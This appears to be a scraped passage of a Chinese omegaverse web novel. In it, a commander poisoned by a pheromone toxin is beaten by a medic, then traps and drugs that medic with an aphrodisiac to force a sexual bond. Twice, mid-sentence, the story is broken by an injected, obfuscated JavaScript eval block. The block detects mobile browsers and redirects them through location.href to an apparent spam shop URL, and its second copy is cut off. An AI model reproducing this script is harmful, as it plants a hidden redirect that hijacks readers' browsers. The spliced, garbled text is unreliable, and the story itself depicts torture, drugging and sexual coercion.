“别!”陆谊言呵斥一声,然而已经来不及。窗外的日光将屋内照得透彻,也将陆谊言照得透彻。 他的状况很糟糕。 蓝发蓝眸的督帅端坐在办公桌前,整个人都在轻微地颤抖,若不是双手勉强支住下巴,那颗高傲的头颅恐怕早已垂到桌上。向来冷肃的脸上一片苍白,冷汗打湿了他梳得一丝不苟的深蓝色短发,连带着束起的军装立领也洇湿一块。 他的手边是一瓶打翻的药剂,上面写着“镇痛剂”几个字。 崔狰拿起药瓶闻了闻,双眸骤然一缩。 信息素毒! “看来有人想要督帅阁下的性命。”崔狰缓缓将药瓶放回原位,“既然如此,我就不打扰了。” 他说着,毫不留恋地就往门口走去。 “站住!”陆谊言艰难出声,努力不让自己的嗓音露出颤意,“直遣队中有人被收买,换了我随身的药剂,害我中了信息素毒。” 他的双手紧紧攥成拳,“既然都死了,倒是省得我去处置。这件事,我不会跟你计较。” 崔狰轻笑:“这么说,我还要感谢督帅阁下。” 陆谊言无视他话语中的嘲讽,继续道:“崔狰,只要你肯救我,我保证绝不再对你下手,并且让你升任高级医兵。你若想上战场,立军功,爬到更高的位置,我也都答应你。” “听起来倒是挺诱人。”崔狰摸了摸下巴,“如此说来,我和督帅阁下之间的恩怨算是扯平了?” “是。”陆谊言朝他伸出手,哑声道,“过来,现在就开始治疗。” 崔狰缓缓走到他身后,轻柔道:“可是,还有件事没有扯平。” “什么事?”陆谊言语气不耐。 “因为督帅阁下的命令,我的一只宠物受伤了。”他想了想,“现在大约不能算是宠物了……不过总之,他受伤这件事,确实是督帅阁下造成的。” “崔狰,你别太过分。”陆谊言咬牙,“宠物而已,伤便伤了,死便死了,我没工夫陪你废话!” 崔狰的眼神逐渐冷下来,他伸手一把扯开陆谊言的衣领,露出他军装包裹下的后颈。 精致的金色纽扣迸开,叮叮当当弹落到地上。陆谊言气得全身都剧烈抖动,“崔狰!” 那里是一块畸形的,丑陋的疤。一个深深的齿印嵌在腺体的位置,断绝了Alpha产生信息素的源头。看齿印大小,似乎不像是成年人所为。 崔狰带着薄茧的手指重重按下去,陆谊言的身体下意识痉挛一下,枯萎的腺体却对Alpha的信息素没有丝毫反应,像一块风干多年的死肉。 “督帅阁下,你这里……”他恶劣地戳了戳,“没救了。普通的刺激根本不可能让这里重新焕发生机,分泌不出信息素,就无法清除你体内的信息素毒。” 他像是怕陆谊言听不懂,好心解释道:“也就是说,督帅阁下除了等死,没有别的办法。” 陆霆雨曾央求他救治陆谊言,用信息素疏导的方式,经年累月,花上五年十年,或许真的会产生奇迹。 但陆谊言没有时间了。 他中了信息素毒,这对于没有信息素的人来说就是无解的毒。即便崔狰用战斗或者情欲激发出高浓度的信息素喂给他,也来不及刺激他的腺体恢复了。 “反正都要死了,督帅阁下不如在死之前把欠我宠物的还了吧。” 对于想杀自己的人,崔狰没有半点怜悯。 他粗暴地将面色愈加苍白的陆谊言从柔软的皮质座椅中拖出来,丢到地板上。他在办公室内环视一圈,拔出插在一旁的联盟军旗,扯掉旗面,只留下约摸一米长的金属旗杆。 “崔狰,你要干什么……”陆谊言的毒发作得愈加厉害,他的体温开始升高,意识逐渐模糊,视线也不甚清楚。他企图再说些什么。 “啪!” 金属细杆破空呼啸,重重抽在陆谊言身上。 “呃!”想好的说辞吞进嘴里,他短促地叫了一声,冰蓝的眼瞳中流露出震惊,随即是深深的愤怒,“崔狰!你敢打我?!” “啪!”又是一杆落下。 “崔狰,我是你的长官!我是……啊!!” 回应他的是更重的惩罚。 崔狰回忆着3586,或者该叫银 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16952192|191895||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 辛了,身上伤口的位置,面无表情地一杆接着一杆抽在高傲的督帅身上。 陆谊言一开始还不停地怒骂,但没一会儿,叫骂声逐渐熄了,取而代之的,是隐忍的闷哼。 崔狰还以为他是放弃抵抗了,可当下一杆的位置打得低了些,蹭过陆谊言的腿跟时,却发现蜷缩着身子的人忽然失控地抽搐了一下,裸露在外的皮肤上瞬间蒸腾起一片粉色。 崔狰皱了皱眉,一脚踢在他的心口,将始终弓着背的人摊平在他面前。 陆谊言的军装外套已经彻底散乱,露出里面皱成一团的白衬衫,衬衫被汗水洇湿,隐约透出下面健硕的胸肌。 崔狰却没心思欣赏这位督帅阁下的身材,他视线扫过那双笔直的长腿中间,极少地显露出了一丝明晃晃的厌恶。 陆谊言搏乞了。 崔狰的军靴重重踩了上去,陆谊言口中泻出一声变调的低吟,整个人像只被沸水烫到的虾子,猛地弹了一下。 “督帅阁下……”崔狰弯下腰,沉冷的声音钻入陆谊言的耳中,“你是变态吗?” 陆谊言闭上双眼,张口无声地喘着粗气。他分不清身体的颤抖究竟是因为毒素发作,还是抽打的疼痛,亦或是……难以抑制的兴奋。 陆谊言很早就知道,自己喜欢疼痛。不,或许该说,享受疼痛。 他是个Alpha,腺体残疾的Alpha。可是,他的腺体并非完全坏死,他能够感受到信息素,不论是Alpha的,还是Omega的。这些杂乱的信息素一旦接触到他,受到刺激的畸形腺体便会本能地想要自愈,那个折磨他多年的伤口,就会持续刺痛。可那些信息素都太弱,除了给他带来痛苦之外,并不能使他的腺体真正苏醒。 他想过屏蔽这些纷杂的信息素,用最简单的方法——服用抑制剂。可是他在外人面前是个Beta,一个只凭借自己的能力,不依靠天生优势爬到高位的优秀Beta。Beta是不会需要抑制剂的,所以他也不能需要。 后来他找到了替代品,镇痛剂。镇痛剂可以缓解他腺体的刺痛,让他的精神得到舒缓。可常年与疼痛为伴,时日久了,疼痛已经成为他身体的一部分,成为令他依赖的存在。只有感觉到身体实在疲惫的时候,他才会服用镇痛剂,来给身体一点喘息的空间。 这些事他不会对任何人说起,也无法对任何人启齿,他隐藏了18年的秘密,就这么轻易地被这个卑劣的医兵以最羞辱的方式揭穿。 崔狰瞥一眼桌上散落的镇痛剂,隐约猜到一些缘由。当初毁了陆谊言腺体的人不仅使得一个Alpha不得不伪装成Beta生存,还带给他持续不断的伤害。 崔狰突然觉得有些没劲,他丢掉旗杆,转身便要离开。 “别走!”裤脚被一只青筋凸起的手紧紧抓住。 “崔狰,不许走,救我!”陆谊言深蓝色的短发狼狈散乱,眼瞳中好似燃着一团冰蓝的火焰,“我不想死……我不能死!” 崔狰莫名有些烦躁,“我说了,救不了,你的……” “若我说可以呢?”陆谊言死死盯着他,“崔狰,我的腺体是15岁的时候受伤的。” “几岁受伤都救不了,你……”崔狰突然顿住。 良久的沉默。 “督帅阁下……” 崔狰声音很低,他似乎明白陆谊言在说什么了。他垂眸注视着像条狗一样趴在他脚边的联盟督帅,深紫的眼瞳中划过一抹极其复杂的情绪。 “你的生殖腔,不会还在吧?” 21.畸形的怪物 15岁那年,陆谊言成为了一个Beta。 当然,是个假Beta。他拥有Alpha的腺体,拥有Alpha优越的身体和样貌,唯独没有Alpha的信息素。 他是个假Alpha。 正常的Alpha会在成长的过程中显现第二性征,体内发育不成熟的生殖腔会逐渐退化,直至消失。取而代之的,是腺体会愈发成熟,在18岁成年后,觉醒不同的信息素。 可他不是正常的Alpha。他的腺体没能发育完全,没有属于自己的信息素,他的生殖腔也没能退化完全,仍旧恶心地残留在他体内。 不,15岁的陆谊言想,他既不是Alpha,也不是Beta,他只是一个残疾的,畸形的怪物。 养好伤后,他转入了一所新的贵族学校。他融入得很好,他帅气,聪明,温和,很快获得老师和同学们的喜爱,甚至当选了班长。 直到一节体育课。 那是他转学后的第一个夏天,他和一群Alpha在小篮球场打球,烈日炎炎,Alpha们都着穿着无袖背心,有几个甚至赤着上身,卖弄般露出初显轮廓的薄薄肌肉,只有陆谊言穿着立领衬衫。 汗水很快浸透了他的衬衫,Alpha们朝他吹口哨,笑着让他脱掉。 “放心吧班长,就算你是块白斩鸡,兄弟们也不会笑话你的!”十五六岁的Alpha们自恋,冲动,做事不计后果。在陆谊言再三表示拒绝之后,他们笑闹着扑上去,生生扯掉了他的衬衣。 丑陋的,残疾的腺体暴露在众人眼前。 小篮球场静默一瞬,直到那个手里拿着陆谊言衬衣的Alpha条件反射般将衬衣丢了出去,嫌恶得像甩掉什么会传染的脏东西。 畸形的劣兽混入人类的领地,遭到驱逐和排挤是多么顺理成章的事。从那一天起,挨打成了陆谊言每日的功课,伤疤成了陆谊言计时的工具。旧伤好了,又添新的,到最后,陆谊言也懒得去数新旧,只要没被打死,那就继续活着。 陆霆雨长大后有一次调皮逃学,被陆谊言抓回来后苦着脸抱怨:“上学好烦,那群Alpha总缠着我教他们打架,那群Omega总往我桌子里塞情书。哥,你上学的时候也这样吗?” 陆谊言答不上来,他上学的时候没有被人崇拜,没有被人爱慕。只有血和伤口,消毒水和镇痛剂。 后来陆谊言学乖了,他主动帮那些Alpha写作业,换取免于挨打的权利。他成绩很好,作业也写得很好,Alpha们慢慢信任他,临近毕业时,甚至将最重要的结业课题交给他去完成。 陆谊言完成得很用心,Alpha们都很满意,谁都没有发现,课题的内容与当月发表在星网科学论坛上的研究内容完全一致。 陆谊言以第一作者的身份举报了Alpha们的抄袭行为,并在科学论坛上严肃指责这一不良风气。舆论压力之下,学校将Alpha们尽数开除。 霸凌者得到了惩罚,事情本该告一段落。 可是还不够。 考入军校之后,陆谊言在资助人的帮助下开始接触军政,用了些手段将那些Alpha的家族逐一击垮,迫使他们流落下城区。 而后,那些可怜的Alpha们出奇地倒霉,有的病死了,有的被车撞死了,有的喝醉酒倒在街头冻死了。 那是陆谊言第一次尝到权力的滋味。 下城区的人命不值钱,捏死那些Alpha,就像捏死一只蚂蚁那么简单。 陆谊言本以为,崔狰也是那只蚂蚁。联盟的笑柄,贵族的耻辱,死掉只会大快人心的存在。 ——现在却成了他唯一的救命稻草。 陆谊言花了18年,忍受了18年,费尽千辛万苦才爬到如今的位置,不是为了把生命结束在得到一切的时候。 他要活下去,必须活下去,不论用尽什么手段。 联盟军事审判庭。 密闭的隔音墙阻绝了外头瓢泼的雨声,庭内一片寂静。 “特级作战部低等医兵,崔狰。” 陆谊言端坐在审判庭正中,冷眸注视着那个男人。 “于碎环之丘战场犯下严重失误,导致直遣队全军覆没,826名枭奴下落不明。依联盟军律,剥夺军职,终身监禁。” 这就是他的计划,他惯用的伎俩。崔狰拒绝为他治疗,那就以权势逼人就范。 “崔狰,你是否认罪?” 认罪,余生都在监狱中度过。或者答应救他。崔狰只能选其一。 “督帅阁下什么时候兼职给审判庭打工了?如此操劳,身体受得住吗?”男人身上戴着锁链,整个人被困在逼仄的囚笼之中,却依然一副游刃有余的姿态。 陆谊言最讨厌他这种姿态。他知道,男人对他的身体状况一清二楚,所以有恃无恐。 他按下遥控按钮,囚笼上瞬间窜过细小的电流。这是威慑犯人用的小手段,陆谊言知道对崔狰这样的人不会起什么效果,但他就是看不惯崔狰从容的模样。 果然,崔狰凶狠瞪了他一眼。陆谊言心情愉悦几分,继续问道:“崔狰,我再问一次,你是否……” “他有什么罪?!” 沉重的大门被轰然砸开,一道火红身影迈着怒气冲冲的步伐疾步闯入。 是他的弟弟,陆霆雨。 陆谊言眉心蹙起,“陆霆雨,你不在营地好好养伤,跑来这里捣什么乱?” 冯宪明退伍之后,他本想将碎环之丘的采集任务交接给陆霆雨,可陆霆雨落入黯蚀体的巢穴,受了重伤,陆谊言只好将他接到赛德亚城的营地暂时休养。 “我要是不来,他怕不是要被你们折磨死!他是我的部下,想对他滥用私刑得先问过我!” 陆谊言看着自己的弟弟像只护食的小狮子,张牙舞爪地发出稚嫩的威胁。 而那个被护着的男人,正顺着他的话表演,假装虚弱地靠在囚笼里。 狡猾的猎手总是以猎物的姿态出现,陆谊言心中冷笑,也只有自己弟弟这样单纯到愚蠢的年轻人才会上当。 “哥,若没有他舍命救我,今日你就见不到我了。”他的傻弟弟好歹知道强硬在他面前不管用,转而替那个男人求情,“你知道的,他的信息素特殊,本不应该上战场的,他都是为了我!毕竟……” 陆谊言冷眼看着自己弟弟的耳根以肉眼可见的速度泛红。 “他喜欢我。” 心脏猛然一悸。陆谊言摆放在桌面上的手攥紧,熟悉的痛楚开始在身体内游走。 明明已经花了一晚上在医疗舱中强行压制,信息素毒竟这么快又发作了! “啧啧啧,哥哥鸠占鹊巢,弟弟厚颜无耻,你们陆家可真是一脉相承。” 金发青年挥开阻拦的守卫,旁若无人地闯进来。 沙家的二公子,沙沅。又是一个为了崔狰而来的人。 陆谊言迅速垂下眼眸,不让自己的状况泄露半分。 “沙沅,你来干什么?我们特战部的事,还轮不到你一个外人插手。”陆谊言听见陆霆雨与他针锋相对。 “我竟不知,特战部的手什么时候都伸到审判庭来了。”沙沅却是早有准备,“督帅阁下借用审判庭可跟夏家打过招呼了?夏家小公子眼下就在外头等我,不如我帮督帅跟他说一声?” 军事审判庭的庭长正是夏家家主,同为十二贵族,夏家的小儿子夏慕与沙家早有婚约。 为了一个崔狰,还真够热闹的。 陆谊言冰蓝的眸中一瞬间闪过浓烈的怒火与不甘。为什么,为什么要在这个时候! 他差一点就成功了,如果这该死的信息素毒没有在此时发作的话。十二贵族又如何,即便来再多的人,他都有办法不让他们带走崔狰。 可是体内翻涌的痛苦与躁动告诉他,到此为止了。 陆霆雨和沙沅似乎争吵了几句,陆谊言已经听不进去了。他好像看到陆霆雨甚至有闲心送给崔狰一颗糖,崔狰不仅没有嫌弃,还乖巧地剥开吃了。 他的意识开始模糊,隐约听到崔狰让所有人都离开。 “督帅阁下还不打算将我放出来吗?” 审判庭内一片安静,他听到那个男人在对他说话。陆谊言咬住舌尖,强迫自己保持清醒,缓缓朝男人走去。 这是最后的机会。 命令他……不,恳求他。求他救自己。 身体猛然被一股巨力拉扯,后背重重撞上粗重冰冷的笼柱,崔狰颈上的星锁爬上了他的脖颈。他就像一只被拴住的狗,除了乞求主人的施舍,没有别的出路。 “崔狰……你到底要怎样才肯救我?” 他知道他该说些什么。这么多年的霸凌,屈辱,早就让他学会求饶。 可他还是搞砸了。 因为他听到崔狰问他: “陆谊言,你为什么这么讨厌我?” 浓烈的情绪一瞬间将他灭顶。信息素毒在体内沸腾,像燃烧的火,将他整颗心脏都烧得焦苦,烧得碎烂。 他嘶声笑起来,从喉咙里挤出几个字: “肮脏的劣兽。” 他不该这样说的。他该乞求崔狰,像一个经验老到的猎手那样,在合适的时机展露出脆弱,等待猎物上钩的时候,再一击杀之。 可他没有办法。 面对崔狰,他没有办法。 “督帅阁下的信息素毒已经发作过一次,这次若挺不过去就会死。”男人冷淡的声音渐渐远离。 他被丢下了,一如他所料。 陆谊言瘫软在地上,血管中如沸水灼娆,全身痛苦地痉挛。 这就是他的结局吗? “陆霆雨应该会很伤心,不过请您放心,身为他的男朋友,我会在您的葬礼上好好陪伴他的。” 不,不该是这样。他还有机会,他还有……最后一张王牌。 “永别了,督帅阁下。” 冰蓝的眼眸猛然睁开,陆谊言面上扬起一抹惨然的笑,分不清到底是希望,还是绝望。 “崔狰!”他用尽最后的力气嘶声喊道,“要不要打个赌?” 崔狰脚步没停,将死之人的话,他懒得听。 可审判庭太安静,那个声音毫无障碍地穿过他的耳膜。 “我赌你……走不出这扇门。” 审判庭厚重的铁门沉寂,肃穆。崔狰伸手摸上门把。 是毒素导致意识混乱,还是太过恐惧死亡?崔狰懒得去分辨,他对陆谊言已经彻底失去了兴趣。 昨天他闯入陆谊言的办公室,本来打算兴师问罪,却正好撞见陆谊言信息素毒发作,省却了他亲自动手的麻烦。 陆谊言让他救治他,崔狰觉得这位身居高位 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他觉得这世上应该没有多少人能抵挡住这样的陆霆雨。骄傲又炽热,纯情又真挚,认定一个人,就会坚定不移地站在他身前,毫不畏惧地献上满腔爱意。 勇敢得像一头威风凛凛的小狮子。 而现在,这只小狮子马上就要属于他了。崔狰眼中溢出一丝柔和的笑意,伸手按下门把手。 门没有开。 身份环上,一条新的消息提示跳了出来。 -[崔狰,对不起。] 背后贴上一具灼热的身体,陆谊言紧紧搂住他的腰,将脸颊贴在他的颈侧。 “你输了。” -[崔狰,求你救救我哥吧。] “我把中了信息素毒的事告诉他了。” -[崔狰,对不起,我不能看着他去死……] “也告诉了他,你怎样才能救我。” -[崔狰,我不知道该怎么办……] 崔狰的身体开始燥热,这感觉他很熟悉,是催情剂。 可他从昨天起就一直被陆谊言关着,没有注射过催情剂,甚至没有吃过东西。 除了刚才陆霆雨给他的那颗草莓硬糖。 -[对不起,对不起,对不起对不起对不起对不起……] “你出不去的……”陆谊言的眼神开始涣散,全身烫得惊人,信息素毒已经在蚕食他的生命,“审判庭的大门连□□都无法穿透,即便是S级Alpha要暴力拆毁,也会付出骨头碎裂的代价……” 崔狰的面上没有一丝表情,也没有理会陆谊言,他抬起右腿。 陆谊言猛地扑过去抱住他的腿,男人狼狈到极点,一直克制的情绪终于崩溃:“为什么?!为什么宁愿废掉一条腿也不愿意救我!崔狰,到底为什么?!” 崔狰一脚将他踢开,厌恶得像是甩开什么脏东西。 陆谊言像是被踢懵了,一时间连呼吸都静止。 崔狰脚步有些不稳,催情剂的药效到了最浓烈的时候,他的腺体发烫,全身都难以控制地逸散出信息素的味道。 陆谊言的后颈又开始刺痛,他突然哑声大笑起来。他的笑声嘶哑难听,笑得歇斯底里,笑得涕泗横流。 “崔狰,你知道你为什么出不去吗?”他的眼泪不堪重负地砸落在地上,“不是因为这扇门,也不是因为陆霆雨……” “因为你欠我的。” 他伸手抓住自己的衣领,用力扯开。畸形而丑陋的腺体像一块死肉,暴露在空气中。 “崔狰,你欠我的。”他不断重复,“你欠我的……你欠我的!!!我所遭受的一切苦难,都是你造成的!!” 他的面容痛苦扭曲,亲手挖开埋藏多年的伤疤。 “……18年前,是你亲手毁了我的腺体。” 崔狰的小指抽动了一下,终于把视线转向他。 陆谊言脖颈上的星锁拖在地上,发出刺耳的摩擦声。他跪爬到崔狰脚边,将头埋在他的军靴上。 “你必须救我,这是你欠我的……” 信息素的味道让他浑身像是被割开千万道伤口丢进消毒水里,又痛又麻。他抱着崔狰的小腿往上攀,有如溺水者抓住最后的浮木。 “一次,一次就好……崔狰,艹进我的生殖腔,标记我。”